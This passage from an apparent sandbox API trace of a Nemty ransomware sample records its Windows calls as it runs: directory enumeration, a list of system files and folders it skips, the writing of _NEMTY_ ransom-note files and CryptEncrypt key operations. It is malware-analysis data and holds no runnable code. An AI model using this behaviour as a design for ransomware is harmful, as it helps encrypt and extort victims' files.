(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0047.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0047.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0047.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.099] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf9b0b50, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf9b0b50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf9b0b50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0047.099] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0047.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0047.099] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0047.099] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0047.100] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0047.100] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0047.100] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0047.100] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0047.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0047.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0018-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0018-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0018-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91618 [0047.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0018-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0018-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0018-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0047.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0047.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0047.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0047.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0047.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0047.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.100] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0047.103] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.103] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0047.104] CloseHandle (hObject=0x3c4) returned 1 [0047.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0047.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0047.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0047.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0047.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0047.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0047.105] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0047.106] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.106] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0047.106] CloseHandle (hObject=0x3c4) returned 1 [0047.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0047.107] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcfc5e410, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfc5e410, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0047.107] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.107] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcfc5e410, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfc5e410, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0047.107] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.107] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.107] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2=".") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="..") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="...") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="windows") returned -1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="rsa") returned -1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="NTDETECT.COM") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="ntldr") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="MSDOS.SYS") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="IO.SYS") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="boot.ini") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="boot.ini") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="AUTOEXEC.BAT") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="ntuser.dat") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="desktop.ini") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="CONFIG.SYS") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="RECYCLER") returned -1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="BOOTSECT.BAK") returned 1 [0047.107] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="bootmgr") returned 1 [0047.108] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="programdata") returned -1 [0047.108] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="appdata") returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.msi", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0047.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.msi", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPointMUI.msi", lpUsedDefaultChar=0x0) returned 17 [0047.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0047.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.msi", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0047.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.msi", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPointMUI.msi", lpUsedDefaultChar=0x0) returned 17 [0047.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0047.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.msi", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0047.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.msi", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPointMUI.msi", lpUsedDefaultChar=0x0) returned 17 [0047.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.msi", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0047.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.msi", cchWideChar=17, lpMultiByteStr=0x4f9ed80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPointMUI.msi", lpUsedDefaultChar=0x0) returned 17 [0047.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94230 [0047.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942e8 [0047.108] Sleep (dwMilliseconds=0x5) [0047.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfc84570, dwHighDateTime=0x1d561e7)) [0047.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfc84570, dwHighDateTime=0x1d561e7)) [0047.110] GetLastError () returned 0xb7 [0047.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.110] GetLastError () returned 0xb7 [0047.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0047.110] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.110] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.110] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.110] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: 